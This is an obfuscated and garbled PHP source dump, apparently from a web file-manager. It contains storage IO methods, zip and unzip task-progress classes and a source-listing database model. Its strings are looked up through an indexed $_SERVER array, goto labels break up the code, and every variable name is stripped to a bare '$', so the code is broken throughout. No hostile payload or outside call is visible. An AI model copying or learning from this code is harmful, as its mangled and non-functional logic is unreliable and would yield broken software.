turn $ ? $[$_SERVER[][192]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $ 
[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); ret 
urn KodIO::make($[$_SERVER[][483]]); } public function copyFolderFromIO($, $, $, $, $) { $ = $thi 
s->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($); } public function isParentOf($, $ 
) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ =& $_SERV 
ER[]; $ = $this->parse($); $ = $[$[483]]; for ($ = 0; $ < count($[$[1415]]); $++) { $ = 
$[$[1415]][$]; if ($ == count($[$[1415]]) - 1) { $ = $this->model->mkfile($, $, $, $); brea 
k; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ 
 = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[483]]; for ($ = 0; $ < count( 
$[$[1415]]); $++) { $ = $[$[1415]][$]; $ = $this->model->mkdir($, $, $); } return $t 
his->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->par 
se($); $ = $this->model->copy($, $[$[483]], $, $[$[87]]); return $ ? $this->getPathOuter($) : 
!1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ 
 = $this->model->move($, $[$[483]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } pub 
lic function copy($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($, $ 
[$_SERVER[][483]], $, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public 
function move($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, 
$[$_SERVER[][483]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ = 
true) { return $this->model->remove($, $); } public function rename($, $) { $ = $this->model->rename($, $ 
); return $ ? $this->getPathOuter($) : $; } public function size($) { $ = $this->infoSimple($); return $ 
 ? $[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info 
($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public functio 
n infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) { 
if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimpl 
e($) { $ =& $_SERVER[]; $ = explode($[8], $); $ = implode($[8], array_splice($, 1)); return $this-> 
model->pathInfoByPath($[0], $); } public function infoFull($) { $ = $this->infoFullSimple($); return is_array($) ? 
$this->model->pathInfo($[$_SERVER[][193]]) : !1; } public function hashSimple($) { $ =& $_SERVER[]; $ = $this 
->infoWithChildren($); return $[$[170]][$[680]]; } public function hashMd5($) { $ =& $_SERVER[]; $ = 
$this->infoWithChildren($); return $[$[170]][$[555]]; } public function exist($) { $ =& $_SERVER[]; $ 
 = $this->parse($); if (!$[$[87]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[485] = 
> $[$[483]], $[32] => $[$[87]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public 
function isFile($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[493]] == $[2 
28] ? !0 : !1; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $ 
[$[493]] == $[91] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[]; if ($ == $[12 
]) { return !1; } $ = array($[485] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSour 
ce($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($ 
); if ($) { return array($[240] => $[$[240]], $[239] => $[$[239]]); } return $ ? $[$[240] 
] : $[$[239]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$) { retur 
n array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public 
function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $, $ 
) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($ 
); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][87]], $, !1 
, $); return $; } public function setModifyTime($, $ = '') { $ =& $_SERVER[]; if (!$) { return; } $this- 
>model->where(array($[499] => $))->save(array($[88] => $)); } public function upload($, $, $ = false, $ 
 = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFile($[$[483]], $, 
$[$[87]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $ =& 
$_SERVER[]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$[483]], $, $[$[87]], $ 
); return $this->getPathOuter($); } public function addFileByRemote($, $, $ = array(), $ = '', $) { $ =& $ 
_SERVER[]; $ = $this->parse($); $ = empty($) ? $[$[87]] : $; $ = $this->model->addFileByRemo 
te($[$[483]], $, $, $, $); return $this->getPathOuter($); } public function uploadLink($, $ = 0) 
{ $ =& $_SERVER[]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1416]); $ = _get($GLOBALS[$[7]], $ 
[1417]); $ = Model($[682])->createFileName($[$[87]], $, $); return IO::uploadLink($, $); } public funct 
ion fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); } 
public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, 
$ = false, $ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($ 
[$[493]] == $[91]) { header($[1418]); die; } $ = $this->model->fileInfoGet($); $ = $[$[555]] ? $[ 
$[555]] : $; $ = isset($GLOBALS[$[182]]) && is_array($GLOBALS[$[182]]) ? $GLOBALS[$[182]][$[32]] : $ 
[$[32]]; if ($) { return IO::fileOutServer($[$[87]], $, $, $); } IO::fileOut($[$[87]], $, $ 
, $); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $ 
); } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $ 
, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($ 
[$[493]] == $[91]) { show_json($[1419] . $, !1); } $ = $this->model->fileInfoGet($); $[$[183]] = $[$ 
[87]]; $GLOBALS[$[182]] = $; IO::fileOutImage($[$[87]], $); } public function fileOutImage($, $ = 250) { $ 
this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } publ 
ic function link($, $ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[][87]], $); } p 
rotected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[501] => intval($), $ 
[87] => $[12], $[1415] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(cle 
ar_html($) . $[1420]); } return array($[501] => intval($[0]), $[87] => $[1], $[1415] => array_slice($, 
1)); } } goto A; a: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function tim 
eLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $ 
) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, 
$ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1870]; $ = Cache:: 
get($, !0); $ = array($[1871] => timeFloat(), $[1872] => timeFloat(), $[350] => $, $[1862] => $, $ 
[206] => $); if (is_array($[$])) { $[$[1872]] = $[$][$[1872]]; } if (is_array($[$])) { if (t 
imeFloat() - $[$][$[1871]] < $[$[206]] * 0.3) { return; } $[$[1872]] = $[$][$[1872]]; } $[ 
$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1873] . $ . $[74] . $, $[1 
97]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1874]); $ = in_array(strtolower( 
ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1870]; $ = Cache::get($, !0); if (!$ || count 
($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $ 
[$[1872]] > $[$[206]]) { $ = !0; try { Hook::apply($[$[350]], $[$[1862]]); write_log($ 
[1875] . $ . $[74] . $[$[350]] . $[1876] . ACTION, $[197]); } catch (Exception $) { } continue; } $ 
[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::re 
moveMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = ar 
ray(); } self::$syncTask[] = array($[350] => $, $[1862] => $); } private static function finishedRun() { $ =& $_SERVER[ 
]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[350]], $[$[1862]]); } 
catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip exte 
nds TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1877], array($t 
his, $[1878])); Hook::bind($[1274], array($this, $[1879])); Hook::bind($[1880], array($this, $[1881])); $ =& 
$this->task; $[$[1882]] = $[1275]; if (!$[$[1653]]) { $[$[1653]] = LNG($[1883]); } } protected fu 
nction endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1877], array($this, $[1878])); Hook::unbind( 
$[1274], array($this, $[1879])); Hook::unbind($[1880], array($this, $[1881])); } public function updateAfter() { $ 
 =& $_SERVER[]; $ =& $this->task; if (!$[$[1137]] || !$[$[836]]) { if ($[$[1882]] != $ 
[398]) { return; } } if ($[$[1882]] == $[1275]) { $ = 0; if ($[$[1817]]) { $ = $[$[1818]] / 
$[$[1817]]; } $[$[1766]] = $ * 0.3; } else { if ($[$[1882]] == $[398]) { $ = $[$ 
[1765]] / $[$[1137]]; $[$[1766]] = 0.3 + $ * 0.4; } else { if ($[$[1882]] == $[110]) { $ = 
0; if ($[$[1819]] == $[110]) { $ = $[$[1818]]; } $ = ($[$[1822]] + $) / $[$ 
[836]]; $[$[1766]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768 
]] - $[$[1771]]; $[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function addFil 
e($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1815]] = $[$[32]]; $ 
[$[1817]] = $[$[79]]; $[$[1818]] = 0; $[$[1139]] = $[1838]; $[$[1819]] = $[1275]; $ 
[$[836]] = $[$[79]]; $[$[1137]] = 1; $ = 0; $[$[1826]] = array($[1827] => $ + 1, $ 
[502] => $[$[32]], $[87] => $[$[87]], $[590] => $[$[590]] ? $[$[590]] : $[$ 
[87]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->ta 
sk; $[$[1815]] = get_path_this($); $[$[1817]] = $; $[$[1818]] = $; $[$[1139]] 
= $ == $[1884] ? $[1885] : $[1886]; $[$[1819]] = $[12]; $[$[836]] = $; $[$ 
[1882]] = $[398]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $ 
[$[1882]] = $[110]; $ = IO::infoWithChildren($); $ = 0; $[$[1826]] = array($[1827] => $ + 
1, $[502] => $[$[32]], $[87] => $[$[87]], $[590] => $[$[590]] ? $[$[590]] : $ 
[$[87]]); if ($[$[33]] == $[230]) { $[$[1137]] = 1; } else { $[$[1137]] = $[$[82]][$ 
[80]]; } $[$[1139]] = $[12]; $[$[1819]] = 0; $[$[1765]] = 0; $[$[1817]] = 0; $[$[1818]] = 
0; $[$[1815]] = $[12]; $[$[1822]] = 0; $[$[836]] = $[$[79]]; $this->update(); self::log($[1 
887] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($ 
[$[1882]] == $[1275]) { $[$[1882]] = $[398]; $[$[1822]] = 0; $[$[836]] = 0; } $ 
 = get_path_this($); if (strstr($, $[10])) { $[$[1765]] += 1; $[$[1137]] += 1; } $[$[1 
815]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; 
parent::startAfter(); Hook::bind($[1888], array($this, $[1878])); Hook::bind($[1880], array($this, $[1881])); $ =& 
$this->task; $[$[1882]] = $[1275]; if (!$[$[1653]]) { $[$[1653]] = LNG($[1889]); } } protected funct 
ion endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1888], array($this, $[1878])); Hook::unbind($[1880], arra 
y($this, $[1881])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1137]] || !$ 
[$[836]]) { return; } if ($[$[1882]] == $[1275]) { $ = $[$[1818]]; if ($[$[1819]] != $[12 
75]) { $ = 0; } $ = ($[$[1822]] + $) / $[$[836]]; $[$[1766]] = $ * 0.3; } else { if ($ 
[$[1882]] == $[398]) { $ = $[$[1765]] / $[$[1137]]; $[$[1766]] = 0.3 + $ * 0.5; } else { i 
f ($[$[1882]] == $[110]) { $ = 0; if ($[$[1817]]) { $ = $[$[1818]] / $[$[1817]]; } $ 
[$[1766]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768]] - $[$ 
[1771]]; $[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function copyFileStart($, $ 
, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ = 
& $this->task; if ($[$[1882]] == $[398]) { $[$[1882]] = $[110]; } $this->update(); } public function copyFileE 
nd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1818]] = $[$[1 
817]]; $[$[1822]] += $[$[1817]]; $[$[1819]] = $[12]; $this->update(); } public function zipEvent($, $ 
, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1815]] = get_path_this($); $[$[1817 
]] = $; $[$[1818]] = $; $[$[1139]] = $ == $[1890] ? $[1885] : $[1886]; $[$[181 
9]] = $[12]; $[$[836]] = $; $[$[1882]] = $[398]; $this->update(); } public function nameParse($) { $ 
 =& $_SERVER[]; $ =& $this->task; if ($[$[1765]] < $[$[1137]]) { $ = get_path_this($); if 
(strstr($, $[10])) { $[$[1765]] += 1; } } if ($[$[1882]] == $[1275]) { $[$[1882]] = $ 
[398]; } $[$[1815]] = $; $this->update(); } } goto A; D: class SourceListModel extends ModelBase { protected 
$tableName = "io_source"; protected $tableMeta = array("tableName" => "io_\x7 
3ource_meta", "metaField" => "sourceID"); protected $dataAu 
to = array(array("modifyTime", "time", "insert", "functio\x 
6e"), array("createTime", "time", "insert", "function"), 
array("viewTime", "time", "insert", "function")); protected s 
tatic $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $ca 
cheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->l 
istSource(array($_SERVER[][485] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "sy 
stem", self::TYPE_USER => "user", self::TYPE_GROUP => "group"); return $[$ . $_SERVER[ 
][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ 
 = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[193] => array($[7], 
$)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[193]); } public function pathInfoFilte 
r(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[48 
6]; $ .= $[487]; $ .= $[488]; $ = $[489]; $ = explode($[50], $); $ = explode($[50], $ 
); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($ 
[50], $[490]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$ 
[87]] = $[491] . $[$[193]] . $[492]; $[$[33]] = $[$[493]] == 1 ? $[78] : $[230]; $[$ 
[190]] = $this->typeName($[$[190]]); if ($[$[493]] != 1) { $[$[169]] = $[$[494]]; unset($[$ 
[494]]); } $ = $; if (isset($[$[495]]) && $[$[495]][$[496]] == -1) { $ = $; } $ = arra 
y_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[497])->listDat 
a(); $ = array_filter_by_field($, $[33], $[498]); $ = array_to_keyvalue($, $[12], $[87]); if ($) { $ 
= $this->listSource(array($[499] => array($[500], $))); } $ = array_to_keyvalue($[$[454]], $[193]); foreach ($ 
 as &$) { $ = array($[501] => $[$[483]], $[502] => $[$[32]], $[503] => $[$[87]], $ 
[504] => $[$[33]], $[505] => $[$[231]], $[506] => $[$[88]]); if ($[$[33]] == $[498] && 
$[$[$[87]]]) { $[$[90]] = $[$[$[87]]]; } } unset($); return $; } public function listUserTag 
($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[507])->listData() 
; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[ 
$])) { $[$] = array(); } $[$][] = $[$[508]]; $[$[$[87]]] = $; } $ = array(); $ 
 = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ 
 as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = 
$[$]; $ = array($[32] => $[$[32]], $[87] => $[$[87]], $[33] => $[$[33]], $ 
[90] => array($[509] => 1), $[232] => !0); if ($[$[33]] == $[230]) { $[] = $; } if ($[$[33] 
] == $[78]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[499] => arr 
ay($[500], $))); } $ = $ ? $ : array($[85] => array(), $[86] => array()); $[$[85]] = array_mer 
ge($[$[85]], $); $[$[86]] = array_merge($[$[86]], $); if (isset($[$[451]]) && count($ 
) == $[$[451]][$[452]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[85]], $[12], $ 
[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ = array_merge($, $); foreach ($ as 
$) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[510])->removeBySource($); } return $; } p 
ublic function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[511])->listData(); if (!$) { return array(); } $ 
= array($[499] => array($[500], $), $[512] => 1); return $this->listSource($); } public function listSource($, $ 
 = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[513]])) { $[$[513]] = 0; } if (isset($[$ 
[192]]) && $[$[192]] == $[228]) { $[$[494]] = array($[416], $[514]); } $ = $[515]; $ 
 = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataAp 
ply($[$[454]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ 
 =& $_SERVER[]; if (!is_array($[$[451]])) { return; } $ = $[$[451]]; if ($[$[453]] <= 1) { r 
eturn; } if ($[$[452]] >= 100000) { return; } if (Model($[516])->get($[517]) != $[518]) { return; } $ = st 
r_replace(array($[53], $[427], $[262]), $[12], $); $ = $[519] . str_replace($[50], $[5 
20], $) . $[521]; $ = $[522]; $ = $ . $[523]; $ = $[$[448]] * ($[$[438]] 
- 1) . $[50] . $[$[448]]; $ = $this->_makeOrder(!0); $ = $[519] . str_replace($[50], $[520], $ 
[0]); if (strpos($, $[524])) { $ = str_replace($[524], $[525], $); } else { $ .= $[526] . $ 
[1]; } $ = array(); foreach ($ as $ => $) { $[$[519] . $] = $; } $this->alias($[527])->f 
ield($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[454]] = $ 
; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[528])->get($[529]); $ 
 = Model($[528])->get($[530]); $ = array($[531] => $[532], $[533] => $[534]); $ = array($ 
[32] => $[32], $[79] => $[79], $[169] => $[494], $[535] => $[535], $[536] => $[537] 
, $[231] => $[231], $[88] => $[88]); $ = Input::get($[538], $[7], $, array_keys($)); $ 
 = Input::get($[539], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32 
]; } if (!in_array($, array_keys($))) { $ = $[531]; } if ($ == $[32]) { } $ = $[540] . $[ 
$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } 
return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply 
($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { 
$ = array(); return; } $ = array_to_keyvalue($, $[12], $[193]); $ = array_unique($); $this->_listSourceCache($ 
); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); 
} $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); 
$this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVE 
R[]; foreach ($ as $) { self::$cacheSourceInfo[$[541] . $[$[193]]] = $; } } protected function _listFilterInfo 
(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathIn 
fo[$[542] . intval($) . $[470] . $[$[193]]] = $; } unset($); } protected function _listMake(&$) { $ 
 =& $_SERVER[]; $[$[85]] = array(); $[$[86]] = array(); foreach ($[$[454]] as $) { $ = $ 
[$[493]] == 1 ? $[85] : $[86]; $[$][] = $; } unset($[$[454]]); } protected function _listAppen 
dMeta(&$, $) { $ =& $_SERVER[]; $ = array($[499] => array($[500], $)); $ = Model($[543])->f 
ield($[544])->where($)->select(); if (!$) { return; } $ = array($[545], $[546], $[525]); $ = array(); 
foreach ($ as $) { if (!isset($[$[$[193]]])) { $[$[$[193]]] = array(); } if (in_array($[$ 
[97]], $)) { continue; } $[$[$[193]]][$[$[97]]] = $[$[459]]; } foreach ($ as &$) 
{ $[$[547]] = !1; if (isset($[$[$[193]]])) { $[$[547]] = $[$[$[193]]]; } if ($this->file 
IsLock($) && $[$[495]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[495]][$[496]] = AuthMode 
l::authDisable($[$[495]][$[496]], $); $[$[495]][$[548]][$[495]] = $[$[495]][$[496]]; 
} } unset($); } protected function _listAppendFileMeta(&$, $ 
																									) { $ =& $_SERVER[]; $ = array_to_keyvalue($ 
, $[12], $[549]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[550] => array($ 
[500], $)); $ = $[551]; $ = Model($[552])->field($)->where($)->select(); $ = array_to_keyvalue($ 
, $[549]); $ = Model($[553])->field($[554])->where($)->select(); $ = $ ? $ : array(); $ = array(); 
foreach ($ as $) { if (!isset($[$[$[549]]])) { $[$[$[549]]] = array(); } $[$[$[549]] 
][$[$[97]]] = $[$[459]]; } foreach ($ as &$) { $ = $[$[549]]; if (!$ || !is_array($[$ 
])) { continue; } $ = $[$]; $[$[79]] = $[$[79]]; $[$[32]] = $[$[32]]; if (!$ 
[$[555]]) { Model($[552])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[556] . $])) { self::$cacheFil 
eInfo[$[556] . $] = array_merge(array(), $); } unset($[$][$[87]]); $ = isset($[$]) && is_arr 
ay($[$]) ? $[$] : array(); $[$[170]] = array_merge($, $[$]); if (isset($[$[170]][$ 
[184]])) { $[$[184]] = json_decode($[$[170]][$[184]], !0); unset($[$[170]][$[184]]); } } unse 
t($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[557])->listData(); $ 
 = Model($[507])->listData(); $ = Model($[497])->listData(); $ = Model($[558])->listSimple(); $ = array_to_ 
keyvalue($, $[483]); $ = array_to_keyvalue_group($, $[87], $[508]); $ = array_to_keyvalue($, $[87 
]); $ = array_to_keyvalue_group($, $[193]); foreach ($ as &$) { $[$[90]] = array($[559] => 0, $ 
[560] => 0, $[561] => 0); if (isset($[$[$[193]]])) { $[$[90]][$[562]] = 1; $[$[90]][$ 
[563]] = $[$[$[193]]][$[32]]; } if ($ && $ && isset($[$[$[193]]])) { $[$[90]][$[ 
564]] = array(); foreach ($[$[$[193]]] as $) { $ = $[$]; $[$[90]][$[564]][] = array($[5 
65] => $[$[483]], $[502] => $[$[32]], $[566] => $[$[567]]); } } if ($ && isset($[$[$ 
[193]]])) { $[$[90]][$[568]] = array(); foreach ($[$[$[193]]] as $) { $ = $[569]; if ( 
$[$[570]] == $[91]) { $ .= $[571]; } $[$[90]][$[568]] = array_field_key($, explode($[5 
0], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ 
 = array(); $ = array($[239] => 0, $[240] => 0); foreach ($ as &$) { if (!$[$[493]]) { continue; } $[] 
= $[$[193]]; } unset($); if (!$) { return; } $ = array($[192] => array($[7], $), $[513] => 0); $ 
= array($[192], $[493], $[572] => $[573]); $ = $this->field($)->where($)->group($[574])->select(); $ = ar 
ray(); foreach ($ as $) { $ = $[$[192]]; $ = $[$[493]] == $[91] ? $[240] : $[239]; if (!isset($ 
[$])) { $[$] = array($[239] => 0, $[240] => 0); } $[$][$] += $[$[573]]; } foreach ($ 
as &$) { if (!$[$[493]]) { continue; } $ = is_array($[$[$[193]]]) ? $[$[$[193]]] : $ 
; $[$[240]] = $[$[240]]; $[$[239]] = $[$[239]]; unset($[$[494]]); } unset($); } protected 
function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[190]] == self: 
:TYPE_GROUP) { $[] = $[$[193]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[193]); $ = Model($ 
[575])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[495]] = $[$[ 
$[193]]]; if (!$[$[495]] && $[$[190]] == self::TYPE_GROUP) { $[$[495]] = Action($[576])->pathGroupAuthMake($ 
[$[577]]); if (!$[$[495]] && !$) { $[$[233]] = !1; $[$[232]] = !1; } } if ($[$[495]]) { $[ 
$[233]] = AuthModel::authCheckEdit($[$[495]][$[496]]); $[$[232]] = AuthModel::authCheckView($[$[495]][$[ 
496]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if 
(Model($[516])->get($[578]) != $[91]) { return; } static $ = false; if (!$) { $ = Model($[579]); $ = Mode 
l($[580]); $ = $->listData(); $ = array_to_keyvalue($, $[193]); $ = json_decode(Model($[516])->get($ 
[581]), !0); $ = array_to_keyvalue($, $[483]); foreach ($ as $ => $) { $ = $[$[$[582]]]; if (!$ 
) { $->remove($[$[483]]); unset($[$]); continue; } $ = $->listData($[$[495]]); if (!$) { $ 
->remove($[$[483]]); unset($[$]); continue; } $[$[495]] = $; $[$[583]] = $; $[$[584]] = Model 
($[585])->getInfoSimpleOuter($[$[535]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppen 
dPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[495]])) { continue; } if ($[$[190]] != $[586]) 
{ continue; } if (isset($[$[$[193]]])) { $ = $[$[$[193]]]; if (!is_array($[$[547]])) { $[$[547]] 
= array(); } $[$[547]][$[587]] = $[$[582]]; $[$[495]][$[588]] = $; $[$[495]][$[589]] = $[$ 
[590]]; $[$[495]][$[591]] = $[91]; if ($[$[535]] != $) { $[$[495]][$[496]] = $[$[495]][$ 
[496]] & $[$[495]][$[495]]; } continue; } $ = $this->parentLevelArray($[$[592]]); $ = array_reverse($); for 
each ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[495]][$[588]] = $ 
; if ($[$[535]] != $) { $[$[495]][$[496]] = $[$[495]][$[496]] & $[$[495]][$[495]]; } $ 
= $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $ 
[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[495]][$[589]] = rtrim($, $[8] 
) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[190]] != s 
elf::TYPE_GROUP) { return; } $ = Model($[593])->getInfo($[$[577]]); $ = $this->parentLevelArray($[$[592]]) 
; $ = $[12]; foreach ($ as $) { $ = Model($[593])->getInfo($); $ .= $[$[90]][$[193]] . 
$[50]; } $[$[594]] = $[$[192]]; $[$[595]] = $[$[592]]; $[$[596]] = $[$[597 
]]; $[$[598]] = $ . $[$[90]][$[193]]; } protected function _listAppendPath(&$, $ = false) { $ 
=& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$ 
) { $ = $[$[193]]; if ($[$[493]] == $[91] && $[$[192]] != 0) { $[$] = $[$ 
[32]]; } if ($[$[493]] == $[91] && $[$[192]] == 0) { $[$] = $this->_listAppendPathRoot($, array 
()); } if (isset($[$[$[592]]])) { continue; } $[$[$[592]]] = !0; $ = $this->parentLevelArray($[$ 
[592]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_l 
istAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count 
($) > 0) { $ = array($[499] => array($[500], $)); if (count($) == 1) { $ = $this->sourceInfo($[ 
0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[599])->where($)->select(); } if (!$) { $ 
 = array(); } foreach ($ as $) { $[$[$[193]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ 
 = array(); foreach ($ as &$) { $ = $[$[592]]; $ = $[12]; if (isset($[$])) { $ = 
